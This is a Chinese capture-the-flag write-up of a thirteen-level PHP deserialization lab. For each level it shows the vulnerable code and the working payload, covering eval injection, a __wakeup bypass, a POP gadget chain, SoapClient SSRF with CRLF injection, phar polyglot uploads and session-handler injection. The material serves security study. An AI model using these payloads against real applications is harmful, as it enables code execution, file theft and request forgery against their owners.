实验室考核,也跟着把这个反序列化靶场做了一遍,第四关好像写的有点问题,后续更正
前序知识 序列化 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class sertest { public $my_name = 'drblack' ; private $his_name = 'jack' ; protected $her_name = 'tom' ; function test ( ) { $this ->$team_members = 'mom' ; } } $obj = new sertest ();echo serialize ($obj );?>
1 2 O:7:"sertest":3:{s:7:"my_name";s:7:"drblack";s:17:"sertesthis_name";s:4:"jack";s:11:"*her_name";s:3:"tom";} O:对象名的长度:"对象名":对象属性个数:{s:属性名的长度:"属性名";s:属性值的长度:"属性值";}
o代表是一个对象,7是对象object的长度,3的意思是类有三个属性,后面花括号里的是类属性的内容。s表示的是类属性my_name
的类型为字符串类型,7表示类属性my_name的值的长度,后面的以此类推。类中的方法不会参与到实例化 里面。
而his_name
为private属性,序列化后变为\x00sertesthis_name\x00
(\x00不显示)长度为17
而her_name
为protected属性,序列化后变为\x00*\x00her_name
(\x00不显示)长度为11
1 2 3 4 5 1. Private成员属性,序列化时: \x00 + [私有成员所在类名] + \x00 [变量名] 2. Protected成员属性,序列化时:\x00 + * + \x00 + [变量名] 其中,"\x00"代表ASCII为0的值,即空字节," * " 必不可少。
序列化格式的字母含义
1 2 3 4 5 6 a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string
反序列化 进行反向复原
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class sertest { public $my_name = 'drblack' ; private $his_name = 'jack' ; protected $her_name = 'tom' ; function test ( ) { $this ->$team_members = 'mom' ; } } $obj = new sertest ();$b = serialize ($obj );var_dump (unserialize ($b ));?>
魔术方法
方法名
作用
__construct
构造函数,在创建对象时候初始化对象,一般用于对变量赋初值 new的时候调用
__destruct
析构函数,和构造函数相反,在对象不再被使用时(将所有该对象的引用设为null)或者程序退出时自动调用
__toString
当一个对象被当作一个字符串被调用,把类当作字符串使用时触发,返回值需要为字符串,例如echo打印出对象就会调用此方法
__wakeup()
使用unserialize时触发,反序列化恢复对象之前调用该方法
__sleep()
使用serialize时触发 ,在对象被序列化前自动调用,该函数需要返回以类成员变量名作为元素的数组(该数组里的元素会影响类成员变量是否被序列化。只有出现在该数组元素里的类成员变量才会被序列化)
__destruct()
对象被销毁时触发
__call()
在对象中调用不可访问的方法时触发,即当调用对象中不存在的方法会自动调用该方法
__callStatic()
在静态上下文中调用不可访问的方法时触发
__get()
读取不可访问的属性的值时会被调用(不可访问包括私有属性,或者没有初始化的属性)
__set()
在给不可访问属性赋值时,即在调用私有属性的时候会自动执行
__isset()
当对不可访问属性调用isset()或empty()时触发
__unset()
当对不可访问属性调用unset()时触发
__invoke()
当脚本尝试将对象调用为函数时触发
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php class mysertest { private $name = 'test' ; public function __wakeup ( ) { echo "调用了__wakeup()方法\n" ; } public function __construct ( ) { echo "调用了__construct()方法\n" ; } public function __destruct ( ) { echo "调用了__destruct()方法\n" ; } public function __toString ( ) { echo "调用了__toString()方法\n" ; } public function __set ($key , $value ) { echo "调用了__set()方法\n" ; } public function __get ($key ) { echo "调用了__get()方法\n" ; } } $a = new mysertest (); $a ->name = 1 ; echo $a ->name; $ser_a = serialize ($a ); echo "\n" ; print_r (unserialize ($ser_a )); ?>
简单漏洞利用 1 2 3 4 5 6 7 8 9 10 11 12 <?php class A { var $test = "demo" ; function __destruct ( ) { @eval ($this ->test); } } $test = $_POST ['test' ];$len = strlen ($test )+1 ;$p = "O:1:" A":1:{s:4:" test";s:" .$len .":" ".$test ." ;";}" ; $test_unser = unserialize ($p ); ?>
Pass-1 代码分析 1 2 3 4 5 6 7 8 9 10 11 <?php highlight_file (__FILE__ );class a { var $act ; function action ( ) { eval ($this ->act); } } $a =unserialize ($_GET ['flag' ]);$a ->action ();?>
通过flag获取参数,传入读取flag.php
的代码即可获得flag
解题过程 1 2 3 4 5 6 7 <?php class a { var $act ="var_dump(file('flag.php'));" ; } $b = new a ();echo serialize ($b );?>
1 O:1:"a":1:{s:3:"act";s:27:"var_dump(file('flag.php'));";}
Pass-2 代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php highlight_file (__FILE__ );include ("flag.php" );class mylogin { var $user ; var $pass ; function __construct ($user ,$pass ) { $this ->user=$user ; $this ->pass=$pass ; } function login ( ) { if ($this ->user=="daydream" and $this ->pass=="ok" ){ return 1 ; } } } $a =unserialize ($_GET ['param' ]);if ($a ->login ()){ echo $flag ; } ?>
mylogin类,具有_construct()
和login()
函数,只有在两个$this->
符合条件后才能输出flag,当_construct()调用
时,$user
和$pass
赋值给两个$this->
1 _construct() 构造函数,在创建对象时候初始化对象,一般用于对变量赋初值
解题过程 1 2 3 4 5 6 7 8 <?php class mylogin { var $user = "daydream" ; var $pass = "ok" ; } $b = new mylogin ();echo serialize ($b );?>
1 "mylogin":2:{s:4:"user";s:8:"daydream";s:4:"pass";s:2:"ok";}
Pass-3 cookie传递 代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php highlight_file (__FILE__ );include ("flag.php" );class mylogin { var $user ; var $pass ; function __construct ($user ,$pass ) { $this ->user=$user ; $this ->pass=$pass ; } function login ( ) { if ($this ->user=="daydream" and $this ->pass=="ok" ){ return 1 ; } } } $a =unserialize ($_COOKIE ['param' ]);if ($a ->login ()){ echo $flag ; } ?>
解题过程 和第二关只区别在一个用GET一个用Cookie传递,需要进行url编码后才能成功传入
1 2 3 4 5 6 7 8 <?php class mylogin { var $user = "daydream" ; var $pass = "ok" ; } $b = new mylogin ();echo urlencode (serialize ($b ));?>
1 2 param=O%3A7%3A%22mylogin%22%3A2%3A%7Bs%3A4%3A%22user%22%3Bs%3A8%3A%22daydream%22%3Bs%3A4%3A%22pass%22%3Bs%3A2%3A%22ok%22%3B%7D param=O%3A7%3A%22mylogin%22%3A2%3A%7Bs%3A4%3A%22user%22%3Bs%3A8%3A%22daydream%22%3Bs%3A4%3A%22pass%22%3Bs%3A2%3A%22ok%22%3B%7D
Pass-4 数组特性 代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php highlight_file (__FILE__ );class func { public $key ; public function __destruct ( ) { unserialize ($this ->key)(); } } class GetFlag { public $code ; public $action ; public function get_flag ( ) { $a =$this ->action; $a ('' , $this ->code); } } unserialize ($_GET ['param' ]);?>
1 create_function() 根据传递的参数创建匿名函数,并为其返回唯一名称
如果数组的第一个元素为类,第二个元素为这个类的方法时。对数组进行反序列化后会调用该方法。
首先流程应该是找到漏洞利用点,往上一层层解析。
漏洞点:__destruct方法中的unserialize($this->key)();
处。这句话的原理是:将key的值进行反序列化后,当作函数进行调用。那么思路应该是通过$action接收creat_function
,$code用来添加利用代码
,而利用php数组特性,在func类中传入array(GetFlag类,get_flag)
用于调用get_flag函数。
解题过程 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php highlight_file (__FILE__ );class func { public $key ; public function __destruct ( ) { unserialize ($this ->key)(); } } class GetFlag { public $code ; public $action ; public function get_flag ( ) { $a =$this ->action; $a ('' , $this ->code); } } $a = new GetFlag ();$b = new func ();$a ->code = '}include("flag.php");echo $flag;//' ;$a ->action = "create_function" ;$b ->key = serialize (array ($a ,"get_flag" ));echo serialize ($b );
在函数利用处添加代码看看具体情况,
拼接后内部逻辑如下,但是为什么没有报错呢??
Pass-5 wakeup + 正则绕过 代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php class secret { var $file ='index.php' ; public function __construct ($file ) { $this ->file=$file ; } function __destruct ( ) { include_once ($this ->file); echo $flag ; } function __wakeup ( ) { $this ->file='index.php' ; } } $cmd =$_GET ['cmd' ]; if (!isset ($cmd )){ echo show_source ('index.php' ,true ); } else { if (preg_match ('/[oc]:\d+:/i' ,$cmd )){ echo "Are you daydreaming?" ; } else { unserialize ($cmd ); } } ?>
首先找利用点,在_destruct
处,想要利用其获得flag,需要this->file
取值为flag.php。而当我们传入一个序列化值时,整个题的执行顺序是__construct
、__wakeup
、__destruct
,我们似乎无法在__wakeup
之后自定义$file的取值。这里就要涉及__wakeup的绕过
当传入的序列化类中的方法数量大于实际方法数时候,__wakeup默认会被绕过,CVE-2016-7124
1 preg_match('/[oc]:\d+:/i',$cmd
正则匹配处对我们输入的变量进行了过滤
那我们尝试构造一个序列化payload
解题过程 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class secret { var $file ='index.php' ; public function __construct ($file ) { $this ->file=$file ; } function __destruct ( ) { include_once ($this ->file); echo $flag ; } function __wakeup ( ) { $this ->file='index.php' ; } } $a = new secret ("flag.php" ); echo serialize ($a ); ?>
1 2 3 4 结果为 O:6:"secret":1:{s:4:"file";s:8:"flag.php";} 修改绕过wakeup O:6:"secret":2:{s:4:"file";s:8:"flag.php";},但是无法绕过正则 正则匹配的是O:数字: 那么尝试在6前加入特殊字符,尝试后加号+ 经过url编码后可以绕过 O:%2B6:"secret":2:{s:4:"file";s:8:"flag.php";}
Pass-6 私有 %绕过 代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php highlight_file (__FILE__ );header ("content-type:text/html;charset=utf-8" );class secret { private $comm ; public function __construct ($com ) { $this ->comm = $com ; } function __destruct ( ) { echo eval ($this ->comm); } } $param =$_GET ['param' ];$param =str_replace ("%" ,"daydream" ,$param );unserialize ($param );?>
首先查找利用点,位于__destruct
方法中,__destruct方法
是当类被销毁时调用。我们需要控制__construct
方法中的com变量。
利用流程是:通过传入一个经过了序列化的$param
参数,经过去除其中的%后,进行反序列化。
解题过程 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php highlight_file (__FILE__ );header ("content-type:text/html;charset=utf-8" );class secret { private $comm ; public function __construct ($com ) { $this ->comm = $com ; } function __destruct ( ) { echo eval ($this ->comm); } } $a = new secret ("var_dump(file('flag.php'));" );$b = serialize ($a );echo $b ;?>
输出的内容如下,但是由于$comm是私有变量,格式为%00类名%00变量名。这里的%00 echo没有显示出来,但是存在,因为长度可以看出来
1 2 输出 O:6:"secret":1:{s:12:"secretcomm";s:27:"var_dump(file('flag.php'));";} 实际上 O:6:"secret":1:{s:12:"%00secretcomm%00";s:27:"var_dump(file('flag.php'));";}
那么需要我们对%的检测进行绕过
解决方案
如果题目要求我们直接传入反序列化字符串,为了防止被截断,或者其他情况,我们一般使用urlencode编码poc,将00
字符转为%00
O:5:"DemoX":3:{s:1:"a";N;s:8:"%00DemoX%00b";N;s:4:"%00*%00c";N;}
PS:只编码特殊符号,不要连带字母一同编码了
在PHP反序列化时,将s
改为大写S
,这样可以反序列化时可以识别十六进制字符。 O:5:"DemoX":3:{s:1:"a";N;S:8:"\00DemoX\00b";N;S:4:"\00*\00c";N;}
由于php7.1+版本对属性类型不敏感,所以可以直接使用public属性的变量。 O:5:"DemoX":3:{s:1:"a";N;s:8:"b";N;s:4:"c";N;}
那么我们修改为
1 O:6:"secret":1:{S:12:"\00secretcomm\00";s:27:"var_dump(file('flag.php'));";}
再试试php版本为7.2的时候能否利用方法三绕过
1 O:6:"secret":1:{s:4:"comm";s:27:"var_dump(file('flag.php'));";}
绕过成功
Pass-7 call()方法 代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php highlight_file (__FILE__ );class you { private $body ; private $pro ='' ; function __destruct ( ) { $project =$this ->pro; $this ->body->$project (); } } class my { public $name ; function __call ($func , $args ) { if ($func == 'yourname' and $this ->name == 'myname' ) { include ('flag.php' ); echo $flag ; } } } $a =$_GET ['a' ];unserialize ($a );?>
call()
在对象中调用不可访问的方法时触发,即当调用对象中不存在的方法会自动调用该方法
找到利用点在_call方法中,要调用__call
方法需要调用一个my类中的不存在方法即可。
首先需要将$body赋值为my的类对象,否则无法实现call的调用,那么最开始我尝试在初始化的时候定义private $body = new my();
但是抛出了错误,只能通过__conststruct
方法,
解题过程 构建解题代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php highlight_file (__FILE__ );class you { private $body ; private $pro ='' ; public function __construct ( ) { $this ->body = new my (); $this ->pro = 'yourname' ; } function __destruct ( ) { $project =$this ->pro; $this ->body->$project (); } } class my { public $name = 'myname' ; function __call ($func , $args ) { if ($func == 'yourname' and $this ->name == 'myname' ) { include ('flag.php' ); echo $flag ; } } } $a = new you ();echo serialize ($a );
1 O:3:"you":2:{s:9:"%00you%00body";O:2:"my":1:{s:4:"name";s:6:"myname";}s:8:"%00you%00pro";s:8:"yourname";}
Pass-8 代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php highlight_file (__FILE__ );function filter ($name ) { $safe =array ("flag" ,"php" ); $name =str_replace ($safe ,"hack" ,$name ); return $name ; } class test { var $user ; var $pass ='daydream' ; function __construct ($user ) { $this ->user=$user ; } } $param =$_GET ['param' ];$profile =unserialize (filter ($param ));if ($profile ->pass=='escaping' ){ echo file_get_contents ("flag.php" ); } ?>
网上说要用增量逃逸,这题似乎不用那么复杂,直接传参数就可以了。new了对象后,其___construct
方法已经被调用,在网页处对其unserialize时不会再次调用,则变量可控,new之后给$a->pass
赋值为escaping
即可
解题过程 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php highlight_file (__FILE__ );function filter ($name ) { $safe =array ("flag" ,"php" ); $name =str_replace ($safe ,"hack" ,$name ); return $name ; } class test { var $user ; var $pass ='daydream' ; function __construct ($user ) { $this ->user=$user ; } } $a = new test (1 );$a ->pass = 'escaping' ;echo serialize ($a );?>
Pass-9 POP链构造 代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php highlight_file (__FILE__ );class Modifier { private $var ; public function append ($value ) { include ($value ); echo $flag ; } public function __invoke ( ) { $this ->append ($this ->var ); } } class Show { public $source ; public $str ; public function __toString ( ) { return $this ->str->source; } public function __wakeup ( ) { echo $this ->source; } } class Test { public $p ; public function __construct ( ) { $this ->p = array (); } public function __get ($key ) { $function = $this ->p; return $function (); } } if (isset ($_GET ['pop' ])){ unserialize ($_GET ['pop' ]); } ?>
首先找到漏洞利用点,位于Modifier
类append
方法中,存在include函数,可以用于读取flag.php文件。
那么考虑调用append
函数并且控制$value
值,可以看见invoke
函数中存在对append调用,传入参数为$this->var
,那么需要控制var='flag.php'
,并且调用invoke
方法。
将对象当作函数进行调用即可触发invoke
方法,那么我们可以找到一处将变量当作函数 的代码,位于Test类中的get方法中,需要将$this->p=Modifier
对象,并且触发get方法。
get方法的触发需要读取对象中的不存在的属性或者私有属性,Test类中不存在私有属性,那么考虑传入一个随意不存在属性即可。
Show类中testing
方法可以用于构造触发get的代码,$str
赋值为Test对象
即可,那么source呢?不急着赋值,先看看后面。
如何触发toString
?将对象Show
当作字符串输出即可,wakeup中存在echo $this->source
那么可以将对象Show
传入source
中,用于触发toString方法
,全部搞定!
解题过程 流程为
1 2 Show类中source='null',str=Test对象 -> Test类中 get $this->p='Modifier对象' ->Modifier类中 invoke() var='flag.php'->append('flag.php')
在构造代码时会有一个小tip,控私有变量var变量的值时候,用__construct方法来控制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php highlight_file (__FILE__ );class Modifier { private $var ; public function append ($value ) { include ($value ); echo $flag ; } public function __construct ( ) //控制var 的值 { $this ->var = 'flag.php' ; } public function __invoke ( ) { $this ->append ($this ->var ); } } class Show { public $source ; public $str ; public function __toString ( ) { return $this ->str->source; } public function __wakeup ( ) { echo $this ->source; } } class Test { public $p ; public function __construct ( ) { $this ->p = array (); } public function __get ($key ) { $function = $this ->p; return $function (); } } $a = new show ();$b = new Test ();$c = new Modifier ();$a ->source = $a ; $b ->p=$c ;$a ->str = $b ;$d =serialize ($a );echo $d ;?>
1 O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}
Pass-10 Soap序列化 需要开启soap扩展(php5.6:extension=php_soap)
SoapClient PHP 的 SOAP 扩展可以用来提供和使用 Web Services,这个扩展实现了6个类,其中的SoapClient类是用来创建soap数据报文,与wsdl接口进行交互的,同时这个类下也是有反序列化中常常用到的__call()魔术方法。
构造函数如下:
1 public SoapClient :: SoapClient (mixed $wsdl [,array $options ])
wsdl
描述服务的 WSDL 文件的 URI,用于自动配置客户端。如果未提供,客户端将以非 WSDL 模式运行。
options (未列举完全)
为 SOAP 客户端指定附加选项的关联数组。如果wsdl
提供,则这是可选的;否则,至少location
并且url
必须提供。
当对该类进行反序列化后,调用该类不存在的方法,会触发_call()
方法,然后向location
发送一个soap请求,并且uri
选项是我们可控的地方。
CRLF Web应用没有对用户输入做严格验证,导致攻击者可以输入一些恶意字符。攻击者一旦向请求行或首部中的字段注入恶意的CRLF 比如:\r\n
,就能注入一些首部字段或报文主体,并在响应中输出。
SSRF+CRLF攻击 在_Call
方法中的有user_agent
选项,用于添加User-agnet值,当可以控制User-Agent
的值时,也就意味着可以构造一个POST请求,因为Content-Type
为和Content-Length
都在User-Agent
之下,而控制这两个是利用CRLF发送post请求最关键的地方。
模拟测试 1 2 3 4 5 6 <?php $url = 'http://ip:1234' ;$a = new SoapClient (null ,array ('uri' =>'bbb' , 'location' => $url ));$b = serialize ($a );$c = unserialize ($b );$c -> not_a_function ();
可见SOAPction中的内容可控制,配合crlf漏洞传入换行符\r\n
将内容挤到POST的数据中,达到通过post传参的目的,如下图
需要将content-type修改为application/x-www-form-urlencoded
,Content-length也需要修改为合适内容代码如下
1 2 3 4 5 6 7 8 <?php $url = 'http://47.113.146.49:1234' ;$post = "this is post test" ;$len =strlen ($post );$a = new SoapClient (null ,array ('location' => $url ,'user_agent' =>"admin\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: " .$len ."\r\n\r\n\r\n" .$post ,'uri' =>'aaa' ));$b = serialize ($a );$c = unserialize ($b );$c -> not_a_function ();
目前了解了soap攻击的手法,现在可以根据题目代码进行测试了,
代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php header ('Content-type:text/html;charset=utf-8' );highlight_file (__FILE__ );$c = unserialize ($_GET ['param' ]);$c -> daydream ();?>
index的代码比较简单,反序列化param
参数,然后调用daydream()方法。
flag.php部分代码是关键,判断$pass
和 $user
内容,判断符合条件后将$flag
输出到flag.txt
文件中,所以我们需要传入$pass
和 $user
对应值。
首先本地测试一下
1 2 3 4 5 6 7 8 9 <?php $url = 'http://ip:1234' ;$post_data ='pass=password' ;$data_len =strlen ($post_data );$a = new SoapClient (null ,array ('location' =>$url ,'user_agent' =>"admin\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: " .$data_len ."\r\n\r\n" .$post_data ,'uri' =>'bbbaddddd' ));$b = serialize ($a );$c = unserialize ($b );$c -> daydream ();
结果符合我们预想情况,
1 2 3 4 5 6 7 <?php $url = 'http://10.211.55.5/php-SER/level10/flag.php' ;$post_data ='pass=password' ;$data_len =strlen ($post_data );$a = new SoapClient (null ,array ('location' =>$url ,'user_agent' =>"admin\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: " .$data_len ."\r\n\r\n" .$post_data ,'uri' =>'bbbaddddd' ));$b = serialize ($a );echo urlencode ($b );
将上述代码编译执行后传入
发现始终报错,检测后发现是mac机器php版本不对,也没开启soap扩展,把文件放到靶机环境下执行
传入后访问flag.txt,成功获取到flag
参考文章 http://home.ustc.edu.cn/~xjyuan/blog/2019/09/06/SSRF-CRLF-Attack-by-SoapClient/
https://blog.csdn.net/qq_37376469/article/details/130024611
Pass-11 Phar序列化 需要新建一个upload名的文件夹,否则代码会有问题
知识补充 phar文件是php里类似于JAR的一种打包文件本质上是一种压缩文件,在PHP 5.3 或更高版本中默认开启,一个phar文件一个分为四部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 1.a stub 可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();来结尾,否则phar扩展将无法识别这个文件为phar文件 2.a manifest describing the contents phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方 3.the file contents 被压缩文件的内容 4.[optional] a signature for verifying Phar integrity (phar file format only)** 签名,放在文件末尾
代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php header ('Content-type:text/html;charset=utf-8' );highlight_file (__FILE__ );class TestObject { public function __destruct ( ) { include ('flag.php' ); echo $flag ; } } $filename = $_POST ['file' ];if (isset ($filename )){ echo md5_file ($filename ); } ?>
1 2 3 4 5 6 7 8 9 10 11 12 <?php class TestObject {} @unlink ("phar.phar" ); $phar = new Phar ("phar.phar" );$phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" );$o = new TestObject ();$phar ->setMetadata ($o );$phar ->addFromString ("test.txt" , "test" ); $phar ->stopBuffering ();?>
生成phar文件前必须修改php.ini中的配置,将phar.readonly设置为Off
访问upload.php尝试上传,发现有检测。那么试试添加文件头
修改代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class TestObject {} @unlink ("phar.phar" ); $phar = new Phar ("phar.phar" );$phar ->startBuffering ();$phar ->setStub ("GIF89a" ."<?php __HALT_COMPILER(); ?>" );$o = new TestObject ();$phar ->setMetadata ($o );$phar ->addFromString ("test.txt" , "test" ); $phar ->stopBuffering ();?>
生成新的phar文件,修改名称为phar.gif
配合phar伪协议利用即可
参考文章 https://xz.aliyun.com/t/6699
https://mp.weixin.qq.com/s/OnOsHNKIWWvcTN7ZP5ymSQ
Pass-12 Phar 黑名单 代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php header ('Content-type:text/html;charset=utf-8' );highlight_file (__FILE__ );class TestObject { public function __destruct ( ) { include ('flag.php' ); echo $flag ; } } $filename = $_POST ['file' ];$boo1 =1 ;$black_list =['php' ,'file' ,'glob' ,'data' ,'http' ,'ftp' ,'zip' ,'https' ,'ftps' ,'phar' ];foreach ($black_list as $item ){ $front =substr ($filename ,0 ,strlen ($item )); if ($front ==$item ){ $boo1 =0 ; } } if (isset ($filename ) and $boo1 ){ echo md5_file ($filename ); } ?>
解题过程 相比上一题,多了黑名单匹配substr($filename,0,strlen($item))
匹配文件名的前几个字符,如果存在匹配项,则无法通过检测。https://xz.aliyun.com/t/6699该文章提到了一种方法,如果题目限制了,`phar://`不能出现在头几个字符。可以用`Bzip / Gzip`协议绕过
1 $filename = 'compress.zlib://phar://phar.phar/test.txt' ;
上传phar.gif文件,配合伪协议读取
Pass-13 Session 反序列化 参考下面文章了解详细session信息
https://mochazz.github.io/2019/01/29/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%85%A5%E9%97%A8%E4%B9%8Bsession%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#PHP%E7%9A%84session%E6%9C%BA%E5%88%B6
开始前先了解几个参数的含义
Directive
含义
session.save_handler
session保存形式。默认为files
session.save_path
session保存路径。
session.serialize_handler
session序列化存储所用处理器。默认为php。
session.upload_progress.cleanup
一旦读取了所有POST数据,立即清除进度信息。默认开启
session.upload_progress.enabled
将上传文件的进度信息存在session中。默认开启。
1 2 3 4 <?php session_start ();$_SESSION ['name' ] = 'drblack' ;?>
当 session.serialize_handler=php_serialize 时,上面文件session为: a:1:{s:4:"name";s:7:"drblack";}
通过设置ini_set('session.serialize_handler', 'php_serialize');
参数进行设置
代码分析 index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php header ('Content-type:text/html;charset=utf-8' );highlight_file (__FILE__ );session_start ();class Flag { public $name ; public $her ; function __wakeup ( ) { $this ->name=$this ->her=md5 (rand (1 , 10000 )); if ($this ->name===$this ->her){ include ('flag.php' ); echo $flag ; } } }
hint.php
1 2 3 4 5 6 <?php highlight_file (__FILE__ );ini_set ('session.serialize_handler' , 'php_serialize' );session_start ();$_SESSION ['a' ] = $_GET ['a' ];?>
从readme中了解到,index.php中默认是php引擎,而php引擎的存储格式是键名|serialized_string
,而php_serialize引擎的存储格式是serialized_string
。如果程序使用两个引擎来分别处理的话就会出现问题
本题中,hint.php和index.php则分别用了两种引擎,如果我们在hint中的反序列化内容前加上|
符号,在hint中会被识别为普通字符串,但是如果在index中会被认为是管道符。并且自动反序列化后面的内容。至于为什么会反序列化后面的内容,是因为session_start()函数,如下
1 当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会调用会话管理器的 open 和 read 回调函数。 会话管理器可能是 PHP 默认的, 也可能是扩展提供的(SQLite 或者 Memcached 扩展), 也可能是通过 session_set_save_handler() 设定的用户自定义会话管理器。 通过 read 回调函数返回的现有会话数据(使用特殊的序列化格式存储),PHP 会自动反序列化数据并且填充 $_SESSION 超级全局变量
解题过程 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php session_start ();class Flag { public $name ; public $her ; function __wakeup ( ) { $this ->name=$this ->her=md5 (rand (1 , 10000 )); if ($this ->name===$this ->her){ include ('flag.php' ); echo $flag ; } } } $a = new Flag ();echo serialize ($a );
运行上述代码生成结果
1 O:4 :"Flag" :2 :{s:4 :"name" ;N;s:3 :"her" ;N;}
传入a=|O:4:"Flag":2:{s:4:"name";N;s:3:"her";N;}
再访问index.php即可
参考文章 https://mochazz.github.io/2019/01/29/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%85%A5%E9%97%A8%E4%B9%8Bsession%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#PHP%E7%9A%84session%E6%9C%BA%E5%88%B6